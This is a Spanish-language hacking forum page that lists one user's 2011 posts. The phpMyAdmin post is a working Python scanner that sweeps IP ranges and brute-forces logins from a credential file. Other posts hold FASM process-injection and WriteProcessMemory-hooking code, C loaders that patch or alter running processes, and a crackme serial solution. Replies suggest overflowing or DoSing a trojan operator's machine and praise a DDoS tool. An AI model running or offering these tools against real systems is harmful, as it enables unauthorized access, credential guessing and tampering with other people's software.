Jaja no bro, me refería a que tú uses un sniffer para ver a donde conecta xDD, el olly es un desensamblador jeje si no lo sabes usar no vas a llegar lejos jeje pero con el puedes ir traceando viendo cómo se comporta el programa, que llamadas hace que guarda en el stack, sus strings, y demás cosillas y en base a esto encontrar la rutina donde envia/recibe datos por sockets e intentar hacer una shellcode para enviar por sockets varias veces y que cause un buffer overflow al cliente de el tipo xD incluso puedes sacar a donde conecta y todo, x) hasta se puede hookear a recv si lo usa y ver los datos que envia xDD jeje nomas que es un poco complicado si no sabes bien lo que haces
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#21
Dudas y pedidos generales / Re:Ayuda!!!..destripar un server(troyano).
Agosto 14, 2011, 03:13:33 PM #22
Códigos Fuentes / Listar directorios recursivamente
Agosto 14, 2011, 02:56:00 PM
El código salió ayudando a un usuario en un foro, lista los directorios que hay dentro de una ruta y los subdirectorios todoosss también xD perfecto como para hacer un buscador ¿?, no me molesté en optimizarlo porque precisamente no fue algo planeado xD
xD
Código: c
xD
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
void listarr(LPSTR szDirectorio,LPSTR szNDirectorio)
{
int decoracion_bonita_de_linkgl=1;
WIN32_FIND_DATA wfd;
HANDLE ff;
ff=FindFirstFile(szDirectorio,&wfd);
if(ff!=0)
{
while(FindNextFile(ff,&wfd)!=0)
{
if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
if((strcmpi(wfd.cFileName,".")!=0)&&(strcmpi(wfd.cFileName,"..")!=0))
{
//printf("%s \n",wfd.cFileName);
char temp[260]={'\0'};
char szCDirectorio[260]={'\0'};
strcpy(szCDirectorio,szNDirectorio);
strcat(szCDirectorio,wfd.cFileName);
strcat(szCDirectorio,"/");
strcpy(temp,szCDirectorio);
strcat(temp,"*.*");
printf("%s\n",temp);
//->impresion
char imp[260]={'\0'};
strcpy(imp,szNDirectorio);
strcat(imp,wfd.cFileName);
strcat(imp,"/");
//printf("%s\n",imp);
listarr(temp,szCDirectorio);
}
}
}
}
else
{
printf("handle error");
}
}
int main()
{
listarr("C:/*.*","C:/");
printf("fin");
getchar();
return 0;
}
#23
Dudas y pedidos generales / Re:Ayuda!!!..destripar un server(troyano).
Agosto 14, 2011, 02:49:19 PM
Usa algun sniffer¿?
Destripalo con olly capaz que se le puede hacer un remote bufferoverflow o hacerle un DoS conectando y desconectando bot's a su troyano cuando menos xD
Destripalo con olly capaz que se le puede hacer un remote bufferoverflow o hacerle un DoS conectando y desconectando bot's a su troyano cuando menos xD
#24
Python / Python phpmyadmin "BruteForce"
Agosto 14, 2011, 12:23:10 PM
He creado esta versión pública que prueba un user y pass en un rango de ip's que se le otorgue, jeje luego saldrá la otra versión que busca de una manera más inteligente las ip's y con un fichero donde probar distintos users/pass para acceder al phpmyadmin de algun sitio 
Código: python

#!usr/bin/python
import httplib, urllib, urllib2, cookielib
print """
_ ___ ___
| | | \\ | _\\
| |__ | _/ | \\
|____| I N K G L |_| H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
- indetectables.net/foro/ -
- Orgulloso de ser Indetectable -
- funcion-linkgl.blogspot.com -
"""
###############################
# Script desarrollado #
# por linkgl #
# v.Publica #
# 03/01/11 #
# Funcion-linkgl.blogspot.com #
# indetectables.net #
# Orgulloso de ser #
# indetectable #
###############################
ipInicial=raw_input("Introduce la IP inicial\n")
ipFinal=raw_input("Introduce la IP final\n")
contador=1
cont=0
while(ipInicial != ipFinal):
corte=ipInicial.split(".")
if (corte[3]!="255"):
corte[3]=contador
else:
corte[2]=int(corte[2])+1
corte[3]=0
contador=1
ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])
try:
conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
conexion.request ("GET", "/phpmyadmin/index.php")
respuesta = conexion.getresponse()
data=respuesta.read()
if(data.find("phpMyAdmin")!=-1):
print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
fp=open("bd.txt","r")
linea=fp.readline()
while(linea!=""):
log=linea.split(":")
galleta = cookielib.CookieJar()
variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
if(site.find(ipInicial)!=-1):
print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
linea=fp.readline()
fp.close()
except:
cont=0
contador=contador+1 #25
Códigos Fuentes / Detectar EOF usando el PE
Agosto 14, 2011, 12:13:14 PM
Bueno esta función retorna true si existe EOF en un ejecutable y false si no existe jeje saludos!.
Código: c
#include <stdio.h>
#include <windows.h>
/***************************\
* _ *
* | | *
* | |__ *
* Coder |____|inkgl *
* Fecha: 02/01/11 *
\***************************/
bool existe_EOF(char *ruta)
{
//-> Estructuras necesarias
IMAGE_DOS_HEADER idh;
IMAGE_NT_HEADERS inh;
IMAGE_SECTION_HEADER ish;
//-> Variables necesarias
FILE *fp;
DWORD iTam;
DWORD hTam;
//Abrimos el archivo para leer en binario
fp=fopen(ruta,"rb");
if(fp!=NULL)
{
fseek(fp,0,SEEK_END);
iTam=ftell(fp);
rewind(fp);
fread(&idh,sizeof(IMAGE_DOS_HEADER),1,fp);
fseek(fp,idh.e_lfanew,SEEK_SET);
fread(&inh,sizeof(IMAGE_NT_HEADERS),1,fp);
fseek(fp,idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (inh.FileHeader.NumberOfSections - 1),SEEK_SET);
fread(&ish,sizeof(IMAGE_SECTION_HEADER),1,fp);
fclose(fp);
hTam=ish.PointerToRawData + ish.SizeOfRawData;
if(hTam < iTam)
return true;
else
return false;
}
}
//->USO
int main()
{
if(existe_EOF("C:\\salida.exe"))
printf("El ejecutable tiene EOF");
else
printf("El ejecutable no tiene EOF");
getchar();
return 0;
} #26
Dudas y pedidos generales / Re:Duda sobre C/C++
Agosto 14, 2011, 12:49:16 AM
que puedes crear clases y dentro de estas funciones y demás y puedes acceder a estas en cualquier parte del programa (dependiendo tambien de que sean publicas o privadas estas funciones dentro de ellas) enrealidad simplifica mucho el trabajo en un proyecto muy grande donde se requiere usar las mismas funciones varias veces y cuando trabajas sobre todo en equipo con alguien más, la progrmación orientada a objetos o POO no es más que definir objetos y sus propiedades ejemplo en pseudocódigo
class caja //Definimos el objeto caja
{
public function propiedades(x,y)
{
acho=x
alto=y
}
public function hacer(accion)
{
if(accion="mover")
print "Una caja no se mueve";
}
}
llamar=new caja();
llamar->propiedades(10,5);
llamar->hacer("mover");
Jeje no se es un ejemplo soso que se me ocurrió, pero enrealidad tiene muchas más utilidades, puedes crear constructores, incluso clases hijas y heredar propiedades xD eso lo vas a ver ya que estudies POO en algun lenguaje (como C++) o php POO o python POO o alguno que pueda ser orientado a objetos jeje
class caja //Definimos el objeto caja
{
public function propiedades(x,y)
{
acho=x
alto=y
}
public function hacer(accion)
{
if(accion="mover")
print "Una caja no se mueve";
}
}
llamar=new caja();
llamar->propiedades(10,5);
llamar->hacer("mover");
Jeje no se es un ejemplo soso que se me ocurrió, pero enrealidad tiene muchas más utilidades, puedes crear constructores, incluso clases hijas y heredar propiedades xD eso lo vas a ver ya que estudies POO en algun lenguaje (como C++) o php POO o python POO o alguno que pueda ser orientado a objetos jeje
#27
Dudas y pedidos generales / Re:Duda sobre C/C++
Agosto 14, 2011, 12:30:45 AM
Da igual lo que estudies primero, ambas sintaxis son similares una vez que aprendes un lenguaje es fácil dominar los demás la cosa esta en el manual que uses si en ese manual explican C y despues en C++ usan algun término de C entonces tendrás problema pero realmente no hay problema con que empieces primero con C++ y luego con C o viceversa el chiste de C++ esque lo puedes usar orientado a objetos pero enrealidad no hay problema en cual aprendas primero
#28
Python / Re:PythonLOIC - Nueva herramienta para ataques Ddos
Agosto 14, 2011, 12:28:14 AMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si, asi es. Solo que en Python. Y si no me equivoco es compatible con los Iphone. Osea que puedes dosear desde el movil
Vaya, se ve interesante, habrá que hechar un ojo al src!
#29
Python / Re:PythonLOIC - Nueva herramienta para ataques Ddos
Agosto 14, 2011, 12:24:14 AM
Es la herramienta que usan los de "anonymous" para dosear no? un tal LOIC o algo así xD
#30
Códigos Fuentes / Re:convertir a hexadecimal
Agosto 14, 2011, 12:22:42 AM
Jeje muy bueno, pero no es necesario declarar la variable tam, ni la variable cadena x) mejor ahorratelas
Código: text
saludos.!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char usage()
{
printf("\t ---> usage: hex word-to-convert [max length: 50]\n\t ---> example: hex blozzter\n\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc == 2) { //me aseguro que se le haya pasado solo un argumento
if (strlen(argv[1]) <= 50) { //admito un maximo de 50 caracteres
printf("%s ==>\t", argv[1]);
for(i=0;argv[1][i]!='\0';i++) { //mientras la cadena no termine, imprimo en hexadecimal ( %x )
printf("%X", argv[1][i]);
}
printf("\n");
}
else {
usage();
}
}
else {
usage();
}
return 0;
}
saludos.!
#31
ASM / HOOK WriteProcessMemory
Agosto 14, 2011, 12:10:30 AM
Acá hice un ejemplo donde hookeo a la API WriteProcessMemory, y guardo los bytes que se querían escribir en la memoria en un archivo .txt jeje (la base para un runpekiller ¿?), estoy en la fase optimización (quitando variables que solo use una vez y algunas que usé para debuggear) pero quería compartirlo porque pues me tomó un rato x) ojalá les guste:
PD: No usa dll.
Código: asm
PD: No usa dll.
Format PE GUI 4.0
entry start
include 'win32ax.inc'
;@HOOK WriteprocessMemory |
; @Coder: linkgl |
; @Fecha: 10/08/11 |
; @Agradecimientos: |
; The swash, Drinky94 |
; & Haker Zero/Yst |
; @Sitios web: |
; Indetectables.net |
; foro.h-sec.org |
;_____________________________________|
proceso db 'c:\writeprocessmemory.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0
start:
invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
invoke LoadLibrary,"kernel32.dll"
mov [temp],eax
invoke GetProcAddress,[temp],"VirtualProtect"
mov [mVP],eax
invoke GetProcAddress,[temp],"GetProcAddress"
mov [gpa],eax
invoke GetProcAddress,[temp],"LoadLibraryA"
mov [gmh],eax
invoke GetProcAddress,[temp],"CreateFileA"
mov [cfa],eax
invoke GetProcAddress,[temp],"WriteFile"
mov [wfa],eax
invoke GetProcAddress,[temp],"SetFilePointer"
mov [sfp],eax
invoke GetProcAddress,[temp],"CloseHandle"
mov [chl],eax
invoke LoadLibrary,"user32.dll"
mov [tempu],eax
invoke GetProcAddress,[tempu],"MessageBoxA"
mov [msgbox],eax
mov ebx,final
sub ebx,inyectame
mov [tam],ebx
invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [handle],eax
invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
invoke ResumeThread,[linkpi.hThread]
ret
proc inyectame
;EDX = DELTAOFFSET
;ESI = EBX
;EDI = CUALQUIEROTRACOSA
call offset
offset:
pop edx
sub edx,offset
mov edi,edx
mov esi,edx
mov esi,edx
mov edi,edx
push edx
;getmodulehandle
add edx,kernel
push edx
call [edi+gmh] ;getmodulehandle
;restaurar
pop edx
push edx
;getprocaddress
add edx,wpm
push edx
push eax
call [edi+gpa] ;getprocaddress
mov ebx,eax
;restaura
pop edx
push edx
;virtualprotect
add edi,originalp
push edi
push 0x40
push 0x5
push ebx
call [edx+mVP]
;restaura
pop edx
mov edi,edx
push edx
;dir.virtual guardada
add edx,vwriteprocessmemory
mov dword [edx],ebx
;restaura
pop edx
;modifica bytes
mov byte [ebx],0xE9
inc ebx
mov ecx,hook
add ecx,edx
sub ecx,ebx
sub ecx,4
mov dword [ebx],ecx
ret
restaurar:
mov edi,edi ;esto esta en la api al principio
push ebp ;esto tambien, fue lo que pisamos
mov ebp,esp ;y esto tambien se piso
;add edx,vwriteprocessmemory
mov eax,[edx+vwriteprocessmemory] ;nos desplazamos a la posicion en memoria de la api
add eax,5 ;y saltamos 5 bytes (los que habiamos escrito)
jmp eax
hook:
call ofdelta
ofdelta:
pop edx
sub edx,ofdelta
mov esi,edx
;->sacamoslos parametros y los pusheamos
pop eax ;retorno :P
pop ebx ;parametros
mov [edx+p1],ebx
pop ebx
mov [edx+p2],ebx
pop ebx
mov [edx+p3],ebx
pop edi
mov [edx+p4],edi
push [edx+p4]
push [edx+p3]
push [edx+p2]
push [edx+p1]
push eax
; push eax
;Guardamos el delta para que no nos de errores al restaurar el api
push edx
;createfilea
add edx,ruta
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push edx
call [esi+cfa];createfilea
mov [esi+hndle],eax
;restauramos
pop edx
mov esi,edx
push edx
;setfilepointer
push 2
push 0
push 0
push [esi+hndle]
call [esi+sfp] ;setfilepointer
;restauramos
pop edx
mov esi,edx
push edx
;writefile
add esi,leidos
push 0
push esi
push edi
push ebx
push [edx+hndle]
call [edx+wfa] ;writefile
;limpiamos
pop edx
mov esi,edx
push edx
push [esi+hndle]
call [esi+chl]
;restauramos el offset delta
pop edx
mov ecx,edx
add ecx,restaurar
;msgbox->
jmp ecx
vwriteprocessmemory dd ? ;Direccion WriteProcessMemory
msgbox dd ? ;Dirección MessageBox
tit db "Inyectado",0
msg db "Ya me inyecte",0
mVP dd ? ;Direccion virtualprotect
originalp dd ?
kernel db "KERNEL32.DLL",0
wpm db "WriteProcessMemory",0
ruta db 'j:\salida.txt',0
gpa dd ? ;Dir getprocaddress
gmh dd ? ;Dir loadlibrary/getmodulehandle en su defecto
cfa dd ? ;Dir createfilea
wfa dd ? ;Dir writefilea
sfp dd ? ;Dir setfilepointer
hndle dd ?
chl dd ?
leidos dd ? ;puntero para writefile bytesleidos
p1 dd ?
p2 dd ?
p3 dd ?
p4 dd ?
endp
final:
data import
library kernel32,'kernel32.dll'
import kernel32,CreateProcessA,'CreateProcessA',\
GetModuleHandle,'GetModuleHandleA',\
GetProcAddress,'GetProcAddress',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
CreateRemoteThread,'CreateRemoteThread',\
LoadLibrary,'LoadLibraryA',\
ResumeThread,'ResumeThread',\
Sleep,'Sleep'
end data #32
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 03:14:21 PM
En el enlace que pones estan todos los archivos necesarios, no uso el IDE codeblocks pero crea un nuevo proyecto y a tu main.cpp (o archivo principal) le pegas el source que en comentarios dice main.cpp luego añades un archivo al proyecto llamado base64.hpp y le añades el source que esta en el comentario de base64.hpp y al final el base64.cpp y añades el source que falta... O así debería de ser no me detuve a mirar bien pero ahí tienes todo lo que necesitas...
#33
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 02:14:19 PMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pues muestranos ese "include", si no tienes ese fichero no va a funcionar tu programa.
Como consigo ese fichero, tengo vario rato buscando en google pero no me aparece o por lo menos no ami.
Difícil decirte, busca en el mismo sitio donde viste ese source, por ahí busca la librería base64 lo que pasa que esa librería no es estandar es creada por terceros y por ende tienes que bajarla y añadirla a tu proyecto da igual si es base64.h como dice sensei o se llama blabla.h el chiste es que la tienes que bajar y añadir a tu proyecto porque NO es estandar
si ya la bajaste verifíca el nombre e incluyela
#34
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 01:44:21 PM
Pues muestranos ese "include", si no tienes ese fichero no va a funcionar tu programa.
#35
ASM / Re:Inyección de código en memoria
Agosto 13, 2011, 01:12:18 PM
Jeje naah, de hecho es la parte fácil lo que sí me rompió un poco las pelotas fue el API Hooking que es lo que viene después de la inyección pues jamás había hecho uno jeje luego comparto el código igual no es muy difícil de entender
#36
ASM / Re:Inyección de código en memoria
Agosto 13, 2011, 01:06:59 PM
Dale, edita lo que veas necesario
, pondré las etiquetas code con el lenguaje que use desde ahora xDD
, pondré las etiquetas code con el lenguaje que use desde ahora xDD
#37
Códigos Fuentes / Modificar valores de los registros en runtime
Agosto 13, 2011, 01:02:53 PM
Esta función modifica el valor de algun registro en runtime, puedes usar openprocess o algun sleep si quieres obtener/escribir el valor en algun evento jeje yo cambié el entrypoint haciendo que al cargar el programa eax cambie de valor en el ejemplo, utilicé la estructura CONTEXT para evitarme líos
Código: c
#include <stdio.h>
#include <windows.h>
/*
USOS:
Para obtener el valor de otro registro
cambiar donde dice con.Eax por
con.Registro_que_quieras
*/
DWORD ObtenerRegistro(LPSTR proceso)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT con;
memset(&si, 0, sizeof(si));
si.cb = sizeof(STARTUPINFO);
con.ContextFlags = CONTEXT_FULL;
if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
{
return 0;
}
GetThreadContext(pi.hThread, &con);
ResumeThread(pi.hThread);
return con.Eax;
}
BOOL EscribirRegistro(LPSTR proceso,DWORD valor)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT con;
memset(&si, 0, sizeof(si));
si.cb = sizeof(STARTUPINFO);
con.ContextFlags = CONTEXT_FULL;
if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
{
return FALSE;
}
GetThreadContext(pi.hThread, &con);
con.Eax = valor;
SetThreadContext(pi.hThread,&con);
ResumeThread(pi.hThread);
return TRUE;
}
//->EJEMPLO DE USO
int main()
{
DWORD eax;
//Cambiamos el valor eax (el entrypoint)
EscribirRegistro("c:\\final.exe",0x413b72f);
eax=ObtenerRegistro("c:\\final.exe");
printf("%x",eax);
getchar();
return 0;
} #38
ASM / Inyección de código en memoria
Agosto 13, 2011, 12:51:52 PM
Este source es un pedazo de el código que hice para hookear a una API, inyecta código en un nuevo hilo en un proceso, en el ejemplo puse que se ejecutara un msgbox jeje lo comenté para que se entendiera mejor.
Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'
;@Inyección en memoria FASM |
; @Coder: linkgl |
;_____________________________________|
;Variables necesarias para el programa que va a inyectar
proceso db 'c:\crackme2.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0
start:
;Creamos el proceso
invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
;Cargamos user32.dll y sacamos la direccion virtual de MessageBoxA
invoke LoadLibrary,"user32.dll"
mov [tempu],eax
invoke GetProcAddress,[tempu],"MessageBoxA"
mov [msgbox],eax
;Sacamos el tamaño de la funcion a inyectar restando
;la dir en memoria de la etiqueta final menos la dir virutal
;donde comienza la funcion
;(la etiqueta final obviamente debe estar al final de la funcion)
mov ebx,final
sub ebx,inyectame
mov [tam],ebx
;Reservamos el espacio en memoria del proceso
invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [handle],eax
;Escribimos nuestra funcion en el proceso
invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
;Creamos un nuevo hilo donde correra nuestro programa inyectado
invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
;continuamos el hilo del programa normal
invoke ResumeThread,[linkpi.hThread]
ret
proc inyectame
;EDX = OffsetDelta
call offset
offset:
pop edx
sub edx,offset
;Movemos el offset delta a edi y esi
mov edi,edx
mov esi,edx
;Obtenemos la direccion de tit y msg
;con ayuda del offsetdelta
add edi,tit
add esi,msg
;llamamos a la funcion msgbox
push 0
push edi
push esi
push 0
call [edx+msgbox]
ret
msgbox dd ? ;Dirección MessageBox
tit db "Inyectado",0
msg db "Ya me inyecte",0
endp
final:
data import
library kernel32,'kernel32.dll'
import kernel32,CreateProcessA,'CreateProcessA',\
GetProcAddress,'GetProcAddress',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
CreateRemoteThread,'CreateRemoteThread',\
LoadLibrary,'LoadLibraryA',\
ResumeThread,'ResumeThread'
end data #39
Ingeniería Inversa / Re:CTCrackMe by CronuX
Agosto 13, 2011, 01:45:25 AM
Sé que es viejo el tema pero nadie lo resolvió, jeje dejo mi serial valido para mi nick:
user:linkgl
serial:8151210
Jeje más tarde pongo la explicación de como se resuelve el crackme (el algoritmo no es difícil de entender lo difícil es generar el serial, suena raro pero así es este crackme) a la hora de calcular la suma de los valores de tus caracteres encriptados viene el problema xDD
-> Edito
Rutina que hace el crackme para quienes no lo han logrado resolver:
1 Toma el usuario y le pasa un cifrado cesar por lo que linkgl me queda como yvaxty
2 Usuario cifrado * longitud del usuario(yvaxty * 6)=103E
Lo que me lleva a deducir que el serial es igual a:
3 103E XOR (Longitud_serial(serial) + 103E)
Escrito de otra forma:
num=Longitud_serial * serial + 103E
EBX=103E XOR num
y toda la operación me tiene que terminar en 9F (BL)
Cuando la condicion de que BL sea 9F, entonces el crackme se validará
con esto creo que está más fácil resolverlo
user:linkgl
serial:8151210
Jeje más tarde pongo la explicación de como se resuelve el crackme (el algoritmo no es difícil de entender lo difícil es generar el serial, suena raro pero así es este crackme) a la hora de calcular la suma de los valores de tus caracteres encriptados viene el problema xDD

-> Edito
Rutina que hace el crackme para quienes no lo han logrado resolver:
1 Toma el usuario y le pasa un cifrado cesar por lo que linkgl me queda como yvaxty
2 Usuario cifrado * longitud del usuario(yvaxty * 6)=103E
Lo que me lleva a deducir que el serial es igual a:
3 103E XOR (Longitud_serial(serial) + 103E)
Escrito de otra forma:
num=Longitud_serial * serial + 103E
EBX=103E XOR num
y toda la operación me tiene que terminar en 9F (BL)
Cuando la condicion de que BL sea 9F, entonces el crackme se validará
con esto creo que está más fácil resolverlo
#40
Códigos Fuentes / Buscar y reemplazar bytes en runtime (loader)
Agosto 13, 2011, 01:35:57 AM
Buen este es mi primer post aquí, publicaré un source que ya había hecho hace algunos días, es un loader que buscar y parchea bytes en memoria, tiene la opción de buscar determinados bytes determinadas veces en la memoria y parchearlos. La funcion retorna la cantidad de veces que se parchearon los bytes.
Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD MassiveReplace(DWORD inicio,LPVOID bytes,LPVOID replace,LPSTR proceso,DWORD tam,DWORD limite)
{
/*
@Coder->Linkgl
@Docs:msdn
@Este código puede ser editado/modificado, respetando los créditos
*/
//Estructuras necesarias para las API's siguientes
STARTUPINFO si;
PROCESS_INFORMATION pi;
//Llenamos las estructuras con 00 para evitar errores
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
//Indicamos el tamaño de la estructura
si.cb = sizeof(si);
// -->Variables necesarias <--
DWORD leidos;
DWORD contador=0;
char *value;
// -->Reservamos el espacio necesario en memoria
// y lo limpiamos <--
value=(char *)malloc(tam);
memset(value,0,tam);
//-->Creamos el proceso
if(CreateProcess(proceso,"",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
//-->Bucle para leer los bytes desde la direccion indicada en bloques
// del tamaño indicado
while(ReadProcessMemory(pi.hProcess, (LPVOID)inicio, &value, tam, &leidos))
{
//->PRINTF Para debuggear la funcion en caso de error
//printf("%x -> %s -> %s ->%d\n",inicio,&value,bytes,leidos);
//memset(value,0,tam+10);
//getchar();
//->findebug
//->comparamos ambos punteros
if(memcmp(bytes,&value,tam)==0)
{
//->si son iguales terminamos el proceso en el que trabajamos
// y retornamos la direccion en memoria donde encontramos los
// bytes
if(contador<limite)
{
//Reservamos la memoria en esa direccion con un tamaño de la longitud de los bytes
VirtualProtectEx(pi.hProcess,(LPVOID)inicio,tam,0x40,&leidos);
//Escribimos los nuevos bytes en la direccion en memoria
WriteProcessMemory(pi.hProcess,(LPVOID)inicio,replace,tam,&leidos);
//Incrementamos el contador
contador++;
}
}
//->Incrementamos la direccion en memoria al siguiente bloque a leer
inicio++;
//Sleep(100); si son muchos los bytes a buscar mejor le ponemos un pequeño sleep
}
//-->Continuamos el hilo
ResumeThread(pi.hThread);
// TerminateProcess(pi.hProcess,0);
return contador;
}
else
{
return 0;
}
}
int main()
{
//->Ejemplo de uso
char buscar[4]={0x00,0x00,0x00};
char reemplazar[4]={0x90,0x90,0x90};
int posicion=MassiveReplace(0x401000,buscar,reemplazar,"c:\\crackme2.exe",3,3);
if(posicion!=0)
printf("Se reemplazaron-> %d bytes",posicion);
else printf("no se encontro %s en la memoria virtual del programa",buscar);
getchar();
return 0;
}

